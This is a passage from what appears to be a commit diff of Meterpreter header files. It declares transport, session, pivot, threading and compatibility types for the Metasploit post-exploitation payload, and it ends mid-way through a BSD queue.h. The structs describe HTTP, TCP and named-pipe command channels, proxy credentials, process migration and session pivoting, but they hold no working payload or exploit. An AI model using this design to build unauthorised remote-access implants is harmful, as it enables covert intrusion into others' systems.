typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
typedef BOOL(*PTransportInit)(Transport* transport);
typedef BOOL(*PTransportDeinit)(Transport* transport);
typedef void(*PTransportDestroy)(Transport* transport);
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);
typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size);
typedef BOOL(*PCloseRequest)(HANDLE hReq);
typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx);
typedef BOOL(*PReceiveResponse)(HANDLE hReq);
typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead);
typedef struct _TimeoutSettings
{
/*! @ brief The total number of seconds to wait for a new packet before killing off the session. */
int comms;
/*! @ brief The total number of seconds to keep retrying for before a new session is established. */
UINT retry_total;
/*! @ brief The number of seconds to wait between reconnects. */
UINT retry_wait;
} TimeoutSettings;
typedef struct _TcpTransportContext
{
SOCKET fd; ///! Remote socket file descriptor.
SOCKET listen; ///! Listen socket descriptor, if any.
} TcpTransportContext;
typedef struct _NamedPipeTransportContext
{
STRTYPE pipe_name; ///! Name of the pipe in '\\<server>\<name>' format
HANDLE pipe; ///! Reference to the named pipe handle.
LOCK* write_lock; ///! Reference to the thread write lock.
} NamedPipeTransportContext;
typedef struct _HttpTransportContext
{
BOOL ssl; ///! Flag indicating whether the connection uses SSL.
HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS.
HANDLE connection; ///! Handle to the HTTP or HTTPS connection.
unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate
CSTRTYPE url; ///! Pointer to the URL stored with the transport.
STRTYPE ua; ///! User agent string.
STRTYPE uri; ///! UUID encoded as a URI.
STRTYPE new_uri; ///! New URI for stageless URI switches
STRTYPE proxy; ///! Proxy details.
STRTYPE proxy_user; ///! Proxy username.
STRTYPE proxy_pass; ///! Proxy password.
STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests.
BOOL proxy_configured; ///! Indication of whether the proxy has been configured.
LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required).
BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet.
PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation.
PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending.
PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing.
PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation.
PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception.
PReadResponse read_response; ///! WinHttp/WinINET specific response data reading.
} HttpTransportContext;
typedef struct _Transport
{
DWORD type; ///! The type of transport in use.
PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport.
PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport.
PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport.
PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting.
PTransportInit transport_init; ///! Initialises the transport.
PTransportDeinit transport_deinit; ///! Deinitialises the transport.
PTransportDestroy transport_destroy; ///! Destroy the transport.
PServerDispatch server_dispatch; ///! Transport dispatch function.
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
STRTYPE url; ///! Full URL describing the comms in use.
VOID* ctx; ///! Pointer to the type-specific transport context;
TimeoutSettings timeouts; ///! Container for the timeout settings.
int comms_last_packet; ///! Unix timestamp of the last packet received.
struct _Transport* next_transport; ///! Pointer to the next transport in the list.
struct _Transport* prev_transport; ///! Pointer to the previous transport in the list.
} Transport;
/*!
* @brief Remote context allocation.
* @details Wraps the initialized file descriptor for extension purposes.
* A \c Remote is effectively a pointer to a remote client context
* which contains magic pixie dust that identifies the connection
* along with a way to interact with it.
* @remark The `Original` and `Current` members are used to allow for
* functionality such as `rev2self` and reverting back to the initial
* desktop stations/desktops.
*/
typedef struct _Remote
{
HMODULE met_srv; ///! Reference to the Meterpreter server instance.
PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup.
Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports
Transport* next_transport; ///! Set externally when transports are requested to be changed.
DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping).
MetsrvConfig* orig_config; ///! Pointer to the original configuration.
LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too).
HANDLE server_thread; ///! Handle to the current server thread.
HANDLE server_token; ///! Handle to the current server security token.
HANDLE thread_token; ///! Handle to the current thread security token.
DWORD orig_sess_id; ///! ID of the original Meterpreter session.
DWORD curr_sess_id; ///! ID of the currently active session.
char* orig_station_name; ///! Original station name.
char* curr_station_name; ///! Name of the current station.
char* orig_desktop_name; ///! Original desktop name.
char* curr_desktop_name; ///! Name of the current desktop.
PTransportCreate trans_create; ///! Helper to create transports from configuration.
PTransportRemove trans_remove; ///! Helper to remove transports from the current session.
int sess_expiry_time; ///! Number of seconds that the session runs for.
int sess_expiry_end; ///! Unix timestamp for when the server should shut down.
int sess_start_time; ///! Unix timestamp representing the session startup time.
PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots.
PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners.
PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context.
} Remote;
Remote* remote_allocate();
VOID remote_deallocate(Remote *remote);
VOID remote_set_fd(Remote *remote, SOCKET fd);
#endif
/*!
* @file remote.h
* @brief Declarations of functions and types that interact with a remote endpoint.
*/
#ifndef _METERPRETER_COMMON_REMOTE_H
#define _METERPRETER_COMMON_REMOTE_H
#include "common_thread.h"
#include "common_config.h"
#include "common_pivot_tree.h"
/*! @brief This is the size of the certificate hash that is validated (sha1) */
#define CERT_HASH_SIZE 20
typedef wchar_t CHARTYPE;
typedef CHARTYPE* STRTYPE;
// Forward declarations required to keep compilers happy.
typedef struct _Packet Packet;
typedef struct _PacketRequestCompletion PacketRequestCompletion;
typedef struct _Transport Transport;
typedef struct _SslLib SslLib;
typedef struct _Remote Remote;
typedef struct _TimeoutSettings TimeoutSettings;
typedef struct _HttpTransportContext HttpTransportContext;
typedef struct _PacketEncryptionContext PacketEncryptionContext;
typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
typedef BOOL(*PTransportInit)(Transport* transport);
typedef BOOL(*PTransportDeinit)(Transport* transport);
typedef void(*PTransportDestroy)(Transport* transport);
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);
typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size);
typedef BOOL(*PCloseRequest)(HANDLE hReq);
typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx);
typedef BOOL(*PReceiveResponse)(HANDLE hReq);
typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead);
typedef struct _TimeoutSettings
{
/*! @ brief The total number of seconds to wait for a new packet before killing off the session. */
int comms;
/*! @ brief The total number of seconds to keep retrying for before a new session is established. */
UINT retry_total;
/*! @ brief The number of seconds to wait between reconnects. */
UINT retry_wait;
} TimeoutSettings;
typedef struct _TcpTransportContext
{
SOCKET fd; ///! Remote socket file descriptor.
SOCKET listen; ///! Listen socket descriptor, if any.
} TcpTransportContext;
typedef struct _NamedPipeTransportContext
{
STRTYPE pipe_name; ///! Name of the pipe in '\\<server>\<name>' format
HANDLE pipe; ///! Reference to the named pipe handle.
LOCK* write_lock; ///! Reference to the thread write lock.
} NamedPipeTransportContext;
typedef struct _HttpTransportContext
{
BOOL ssl; ///! Flag indicating whether the connection uses SSL.
HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS.
HANDLE connection; ///! Handle to the HTTP or HTTPS connection.
unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate
CSTRTYPE url; ///! Pointer to the URL stored with the transport.
STRTYPE ua; ///! User agent string.
STRTYPE uri; ///! UUID encoded as a URI.
STRTYPE new_uri; ///! New URI for stageless URI switches
STRTYPE proxy; ///! Proxy details.
STRTYPE proxy_user; ///! Proxy username.
STRTYPE proxy_pass; ///! Proxy password.
STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests.
BOOL proxy_configured; ///! Indication of whether the proxy has been configured.
LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required).
BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet.
PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation.
PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending.
PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing.
PValidateResponse validate_response; ///! WinHTTP/WinINET specific response validation.
PReceiveResponse receive_response; ///! WinHttp/WinINET specific response data reception.
PReadResponse read_response; ///! WinHttp/WinINET specific response data reading.
} HttpTransportContext;
typedef struct _Transport
{
DWORD type; ///! The type of transport in use.
PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport.
PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport.
PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport.
PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting.
PTransportInit transport_init; ///! Initialises the transport.
PTransportDeinit transport_deinit; ///! Deinitialises the transport.
PTransportDestroy transport_destroy; ///! Destroy the transport.
PServerDispatch server_dispatch; ///! Transport dispatch function.
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
STRTYPE url; ///! Full URL describing the comms in use.
VOID* ctx; ///! Pointer to the type-specific transport context;
TimeoutSettings timeouts; ///! Container for the timeout settings.
int comms_last_packet; ///! Unix timestamp of the last packet received.
struct _Transport* next_transport; ///! Pointer to the next transport in the list.
struct _Transport* prev_transport; ///! Pointer to the previous transport in the list.
} Transport;
/*!
* @brief Remote context allocation.
* @details Wraps the initialized file descriptor for extension purposes.
* A \c Remote is effectively a pointer to a remote client context
* which contains magic pixie dust that identifies the connection
* along with a way to interact with it.
* @remark The `Original` and `Current` members are used to allow for
* functionality such as `rev2self` and reverting back to the initial
* desktop stations/desktops.
*/
typedef struct _Remote
{
PConfigCreate config_create; ///! Pointer to the function that will create a configuration block from the curren setup.
Transport* transport; ///! Pointer to the currently used transport mechanism in a circular list of transports
Transport* next_transport; ///! Set externally when transports are requested to be changed.
DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping).
MetsrvConfig* orig_config; ///! Pointer to the original configuration.
LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too).
HANDLE server_thread; ///! Handle to the current server thread.
HANDLE server_token; ///! Handle to the current server security token.
HANDLE thread_token; ///! Handle to the current thread security token.
DWORD orig_sess_id; ///! ID of the original Meterpreter session.
DWORD curr_sess_id; ///! ID of the currently active session.
char* orig_station_name; ///! Original station name.
char* curr_station_name; ///! Name of the current station.
char* orig_desktop_name; ///! Original desktop name.
char* curr_desktop_name; ///! Name of the current desktop.
PTransportCreate trans_create; ///! Helper to create transports from configuration.
PTransportRemove trans_remove; ///! Helper to remove transports from the current session.
int sess_expiry_time; ///! Number of seconds that the session runs for.
int sess_expiry_end; ///! Unix timestamp for when the server should shut down.
int sess_start_time; ///! Unix timestamp representing the session startup time.
PivotTree* pivot_sessions; ///! Collection of active Meterpreter session pivots.
PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners.
PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context.
} Remote;
#endif

View File

@ -0,0 +1,14 @@
#ifndef _METERPRETER_COMMON_SCHEDULER_H
#define _METERPRETER_COMMON_SCHEDULER_H
typedef enum
{
SchedulerPause = 1,
SchedulerResume = 2,
SchedulerStop = 3
} SchedulerSignal;
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext);
typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext);
#endif

View File

@ -0,0 +1,31 @@
#ifndef _METERPRETER_COMMON_THREAD_H
#define _METERPRETER_COMMON_THREAD_H
typedef struct _LOCK
{
HANDLE handle;
} LOCK, * LPLOCK;
typedef struct _EVENT
{
HANDLE handle;
} EVENT, * LPEVENT;
#define THREADCALL __stdcall
typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread);
struct _THREAD
{
DWORD id;
HANDLE handle;
EVENT * sigterm;
THREADFUNK funk;
LPVOID parameter1;
LPVOID parameter2;
LPVOID parameter3;
};
typedef struct _THREAD THREAD, * LPTHREAD;
#endif

View File

@ -1,235 +0,0 @@
#ifndef UNIX_COMPAT_TYPES_H
#define UNIX_COMPAT_TYPES_H
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#if defined(__FreeBSD__)
#include <sys/filio.h>
#elif defined(__linux__)
#define __va_list __ptr_t
#define __USE_XOPEN
#else
#error unknown OS
#endif
#define NULL ((void *)0)
#if 0
// PKS, should use system headers.
#define PAGE_SIZE 4096
#define PAGE_SHIFT 12
#endif
/*
* need to separate out platform types
*/
#if defined(__FreeBSD__)
#if defined(__LP64__)
typedef int64_t intptr_t;
typedef uint64_t uintptr_t;
typedef uint64_t uintmax_t;
#else
typedef int32_t intptr_t;
typedef uint32_t uintptr_t;
typedef uint32_t uintmax_t;
#endif
#endif
#if 0
#define PAGE_MASK (PAGE_SIZE-1)
#endif
#define trunc_page(x) ((unsigned long)(x) & ~(PAGE_MASK))
#define _strdup strdup
#define _vsnprintf vsnprintf
#define strcat_s(buf1, len, buf2) strcat((buf1), (buf2))
#define closesocket close
#if 0
/*
* Protections are chosen from these bits, or-ed together
*/
#define PROT_NONE 0x00 /* no permissions */
#define PROT_READ 0x01 /* pages can be read */
#define PROT_WRITE 0x02 /* pages can be written */
#define PROT_EXEC 0x04 /* pages can be executed */
/*
* Flags contain sharing type and options.
* Sharing types; choose one.
*/
#define MAP_SHARED 0x0001 /* share changes */
#define MAP_PRIVATE 0x0002 /* changes are private */
/*
* Mapping type
*/
#define MAP_FILE 0x0000 /* map from file (default) */
#define MAP_ANON 0x1000 /* allocated from memory, swap space */
/*
* Error return from mmap()
*/
#define MAP_FAILED ((void *)-1)
/*
* Advice to madvise
*/
#define _MADV_NORMAL 0 /* no further special treatment */
#define _MADV_RANDOM 1 /* expect random page references */
#define _MADV_SEQUENTIAL 2 /* expect sequential page references */
#define _MADV_WILLNEED 3 /* will need these pages */
#define _MADV_DONTNEED 4 /* dont need these pages */
#define MADV_NORMAL _MADV_NORMAL
#define MADV_RANDOM _MADV_RANDOM
#define MADV_SEQUENTIAL _MADV_SEQUENTIAL
#define MADV_WILLNEED _MADV_WILLNEED
#define MADV_DONTNEED _MADV_DONTNEED
#define MADV_FREE 5 /* dont need these pages, and junk contents */
void *memcpy(void *idst, const void *isrc, size_t n);
int strcmp (const char *s1, const char *s2);
int strncmp(const char *s1, const char *s2, size_t n);
size_t strlen (const char *s);
char *strcpy (char *dst, const char *src);
char *strcat (char *dst, const char *src);
char *strstr(const char *s, const char *find);
unsigned long s_strtoul (const char *cp);
void *memset(void *b, int c, size_t len);
void bzero(void *b, size_t len);
char *strdup(const char *__restrict);
#define STDIN_FILENO 0 /* standard input file descriptor */
#define STDOUT_FILENO 1 /* standard output file descriptor */
#define STDERR_FILENO 2 /* standard error file descriptor */
ssize_t write(int d, const void *buf, size_t nbytes);
ssize_t read(int d, void *buf, size_t nbytes);
void abort(void);
void free(void *ptr);
void *malloc(size_t size);
#endif
#ifdef __GNUCLIKE_BUILTIN_STDARG
#ifndef va_start
#define va_start(ap, last) \
__builtin_va_start((ap), (last))
#endif
#ifndef va_arg
#define va_arg(ap, type) \
__builtin_va_arg((ap), type)
#endif
#ifndef __va_copy
#define __va_copy(dest, src) \
__builtin_va_copy((dest), (src))
#endif
#if __ISO_C_VISIBLE >= 1999
#ifndef va_copy
#define va_copy(dest, src) \
__va_copy(dest, src)
#endif
#endif
#ifndef va_end
#define va_end(ap) \
__builtin_va_end(ap)
#endif
#endif
typedef char BOOL;
typedef char BOOLEAN;
typedef BOOL * LPBOOL;
typedef char CHAR;
typedef CHAR * PCHAR;
typedef void * LPVOID;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;
typedef uint32_t ULONG;
typedef uint32_t * PULONG;
typedef const char CSTR;
typedef const wchar_t CWSTR;
typedef unsigned char UCHAR;
typedef UCHAR * PUCHAR;
typedef CSTR * LPCSTR;
typedef CWSTR * LPCWSTR;
typedef char * LPSTR;
typedef long DWORD;
typedef DWORD * LPDWORD;
typedef int32_t LONG;
typedef LONG * LPLONG;
typedef unsigned int UINT;
typedef int HANDLE;
typedef int SOCKET;
typedef void VOID;
typedef VOID * PVOID;
typedef void * HMODULE;
typedef short SHORT;
typedef unsigned short USHORT;
typedef uint64_t QWORD;
#ifndef TRUE
#define TRUE (1)
#endif
#ifndef FALSE
#define FALSE (0)
#endif
#define ERROR_NOT_FOUND ENOENT
#define ERROR_NOT_ENOUGH_MEMORY ENOMEM
#define ERROR_INVALID_PARAMETER EINVAL
#define ERROR_INVALID_HANDLE EINVAL
#define ERROR_INVALID_DATA EINVAL
#define ERROR_INVALID_FUNCTION EINVAL
#define ERROR_UNSUPPORTED_COMPRESSION EINVAL
#define ERROR_NOT_SUPPORTED EOPNOTSUPP
#if defined(__FreeBSD__)
#define ERROR_INSTALL_USEREXIT EPROGUNAVAIL
#elif defined(__linux__)
#define ERROR_INSTALL_USEREXIT ENOPROTOOPT
#else
#error unknown OS
#endif
#define ERROR_SUCCESS (0)
#define NO_ERROR (0)
int local_error;
#define WSAGetLastError() GetLastError()
#define GetLastError() (local_error != -1 ? local_error : errno)
#define SetLastError(x) (local_error = (x))
#define __declspec(x)
#define __try
#define __except(x) if (0)
#endif

View File

@ -1,14 +0,0 @@
#ifndef _METERPRETER_LIB_LINKAGE_H
#define _METERPRETER_LIB_LINKAGE_H
#ifdef USE_DLL
#ifdef METERPRETER_EXPORTS
#define LINKAGE __declspec(dllexport)
#else
#define LINKAGE __declspec(dllimport)
#endif
#else
#define LINKAGE
#endif
#endif

View File

@ -1,6 +0,0 @@
#ifndef _METERPRETER_PIVOT_PACKET_DISPATCH
#define _METERPRETER_PIVOT_PACKET_DISPATCH
DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize);
#endif

View File

@ -1,35 +0,0 @@
#ifndef _METERPRETER_PIVOT_TREE
#define _METERPRETER_PIVOT_TREE
typedef DWORD(*PivotWritePacket)(LPVOID state, LPBYTE rawPacket, DWORD rawPacketLength);
typedef DWORD(*PivotRemove)(LPVOID state);
typedef struct _PivotContext
{
PivotWritePacket packet_write;
PivotRemove remove;
LPVOID state;
} PivotContext;
typedef struct _PivotNode PivotNode;
typedef struct _PivotTree
{
PivotNode* head;
} PivotTree;
typedef void(*PivotTreeTraverseCallback)(LPBYTE guid, PivotContext* ctx, LPVOID state);
PivotTree* pivot_tree_create();
DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx);
PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid);
PivotContext* pivot_tree_find(PivotTree* tree, LPBYTE guid);
void pivot_tree_traverse(PivotTree* tree, PivotTreeTraverseCallback callback, LPVOID state);
void pivot_tree_destroy(PivotTree* tree);
#ifdef DEBUGTRACE
void dbgprint_pivot_tree(PivotTree* tree);
#endif
#endif

View File

@ -1,627 +0,0 @@
/*-
* Copyright (c) 1991, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)queue.h 8.5 (Berkeley) 8/20/94
* $FreeBSD: head/sys/sys/queue.h 179210 2008-05-22 14:40:03Z ed $
*/
#ifndef _SYS_QUEUE_H_
#define _SYS_QUEUE_H_
#include <sys/cdefs.h>
/*
* This file defines four types of data structures: singly-linked lists,
* singly-linked tail queues, lists and tail queues.
*
* A singly-linked list is headed by a single forward pointer. The elements
* are singly linked for minimum space and pointer manipulation overhead at
* the expense of O(n) removal for arbitrary elements. New elements can be
* added to the list after an existing element or at the head of the list.
* Elements being removed from the head of the list should use the explicit
* macro for this purpose for optimum efficiency. A singly-linked list may
* only be traversed in the forward direction. Singly-linked lists are ideal
* for applications with large datasets and few or no removals or for
* implementing a LIFO queue.
*
* A singly-linked tail queue is headed by a pair of pointers, one to the
* head of the list and the other to the tail of the list. The elements are
* singly linked for minimum space and pointer manipulation overhead at the
* expense of O(n) removal for arbitrary elements. New elements can be added
* to the list after an existing element, at the head of the list, or at the
* end of the list. Elements being removed from the head of the tail queue
* should use the explicit macro for this purpose for optimum efficiency.
* A singly-linked tail queue may only be traversed in the forward direction.
* Singly-linked tail queues are ideal for applications with large datasets
* and few or no removals or for implementing a FIFO queue.
*
* A list is headed by a single forward pointer (or an array of forward
* pointers for a hash table header). The elements are doubly linked
* so that an arbitrary element can be removed without a need to
* traverse the list. New elements can be added to the list before
* or after an existing element or at the head of the list. A list
* may only be traversed in the forward direction.
*
* A tail queue is headed by a pair of pointers, one to the head of the
* list and the other to the tail of the list. The elements are doubly
* linked so that an arbitrary element can be removed without a need to
* traverse the list. New elements can be added to the list before or
* after an existing element, at the head of the list, or at the end of
* the list. A tail queue may be traversed in either direction.
*
* For details on the use of these macros, see the queue(3) manual page.
*
*
* SLIST LIST STAILQ TAILQ
* _HEAD + + + +
* _HEAD_INITIALIZER + + + +
* _ENTRY + + + +
* _INIT + + + +
* _EMPTY + + + +
* _FIRST + + + +
* _NEXT + + + +
* _PREV - - - +
* _LAST - - + +
* _FOREACH + + + +
* _FOREACH_SAFE + + + +
* _FOREACH_REVERSE - - - +
* _FOREACH_REVERSE_SAFE - - - +
* _INSERT_HEAD + + + +
* _INSERT_BEFORE - + - +
* _INSERT_AFTER + + + +
* _INSERT_TAIL - - + +
* _CONCAT - - + +
* _REMOVE_HEAD + - + -
* _REMOVE_NEXT + - + -
* _REMOVE + + + +
*
*/
#ifdef QUEUE_MACRO_DEBUG
/* Store the last 2 places the queue element or head was altered */
struct qm_trace {
char * lastfile;
int lastline;
char * prevfile;
int prevline;
};
#define TRACEBUF struct qm_trace trace;
#define TRASHIT(x) do {(x) = (void *)-1;} while (0)
#define QMD_TRACE_HEAD(head) do { \
(head)->trace.prevline = (head)->trace.lastline; \
(head)->trace.prevfile = (head)->trace.lastfile; \
(head)->trace.lastline = __LINE__; \
(head)->trace.lastfile = __FILE__; \
} while (0)
#define QMD_TRACE_ELEM(elem) do { \
(elem)->trace.prevline = (elem)->trace.lastline; \
(elem)->trace.prevfile = (elem)->trace.lastfile; \
(elem)->trace.lastline = __LINE__; \
(elem)->trace.lastfile = __FILE__; \
} while (0)
#else
#define QMD_TRACE_ELEM(elem)
#define QMD_TRACE_HEAD(head)
#define TRACEBUF
#define TRASHIT(x)
#endif /* QUEUE_MACRO_DEBUG */
/*
* Singly-linked List declarations.
*/
#define SLIST_HEAD(name, type) \
struct name { \
struct type *slh_first; /* first element */ \
}
#define SLIST_HEAD_INITIALIZER(head) \
{ NULL }
#define SLIST_ENTRY(type) \
struct { \
struct type *sle_next; /* next element */ \
}
/*
* Singly-linked List functions.
*/
#define SLIST_EMPTY(head) ((head)->slh_first == NULL)
#define SLIST_FIRST(head) ((head)->slh_first)
#define SLIST_FOREACH(var, head, field) \
for ((var) = SLIST_FIRST((head)); \
(var); \
(var) = SLIST_NEXT((var), field))
#define SLIST_FOREACH_SAFE(var, head, field, tvar) \
for ((var) = SLIST_FIRST((head)); \
(var) && ((tvar) = SLIST_NEXT((var), field), 1); \
(var) = (tvar))
#define SLIST_FOREACH_PREVPTR(var, varp, head, field) \
for ((varp) = &SLIST_FIRST((head)); \
((var) = *(varp)) != NULL; \
(varp) = &SLIST_NEXT((var), field))
#define SLIST_INIT(head) do { \
SLIST_FIRST((head)) = NULL; \
} while (0)
#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \
SLIST_NEXT((elm), field) = SLIST_NEXT((slistelm), field); \
SLIST_NEXT((slistelm), field) = (elm); \
} while (0)
#define SLIST_INSERT_HEAD(head, elm, field) do { \
SLIST_NEXT((elm), field) = SLIST_FIRST((head)); \
SLIST_FIRST((head)) = (elm); \
} while (0)
#define SLIST_NEXT(elm, field) ((elm)->field.sle_next)
#define SLIST_REMOVE(head, elm, type, field) do { \
if (SLIST_FIRST((head)) == (elm)) { \
SLIST_REMOVE_HEAD((head), field); \
} \
else { \
struct type *curelm = SLIST_FIRST((head)); \
while (SLIST_NEXT(curelm, field) != (elm)) \
curelm = SLIST_NEXT(curelm, field); \
SLIST_REMOVE_NEXT(head, curelm, field); \
} \
TRASHIT((elm)->field.sle_next); \
} while (0)
#define SLIST_REMOVE_NEXT(head, elm, field) do { \
SLIST_NEXT(elm, field) = \
SLIST_NEXT(SLIST_NEXT(elm, field), field); \
} while (0)
#define SLIST_REMOVE_HEAD(head, field) do { \
SLIST_FIRST((head)) = SLIST_NEXT(SLIST_FIRST((head)), field); \
} while (0)
/*
* Singly-linked Tail queue declarations.
*/
#define STAILQ_HEAD(name, type) \
struct name { \
struct type *stqh_first;/* first element */ \
struct type **stqh_last;/* addr of last next element */ \
}
#define STAILQ_HEAD_INITIALIZER(head) \
{ NULL, &(head).stqh_first }
#define STAILQ_ENTRY(type) \
struct { \
struct type *stqe_next; /* next element */ \
}
/*
* Singly-linked Tail queue functions.
*/
#define STAILQ_CONCAT(head1, head2) do { \
if (!STAILQ_EMPTY((head2))) { \
*(head1)->stqh_last = (head2)->stqh_first; \
(head1)->stqh_last = (head2)->stqh_last; \
STAILQ_INIT((head2)); \
} \
} while (0)
#define STAILQ_EMPTY(head) ((head)->stqh_first == NULL)
#define STAILQ_FIRST(head) ((head)->stqh_first)
#define STAILQ_FOREACH(var, head, field) \
for((var) = STAILQ_FIRST((head)); \
(var); \
(var) = STAILQ_NEXT((var), field))
#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \
for ((var) = STAILQ_FIRST((head)); \
(var) && ((tvar) = STAILQ_NEXT((var), field), 1); \
(var) = (tvar))
#define STAILQ_INIT(head) do { \
STAILQ_FIRST((head)) = NULL; \
(head)->stqh_last = &STAILQ_FIRST((head)); \
} while (0)
#define STAILQ_INSERT_AFTER(head, tqelm, elm, field) do { \
if ((STAILQ_NEXT((elm), field) = STAILQ_NEXT((tqelm), field)) == NULL)\
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
STAILQ_NEXT((tqelm), field) = (elm); \
} while (0)
#define STAILQ_INSERT_HEAD(head, elm, field) do { \
if ((STAILQ_NEXT((elm), field) = STAILQ_FIRST((head))) == NULL) \
(head)->stqh_last = &STAILQ_NEXT((elm), field); \
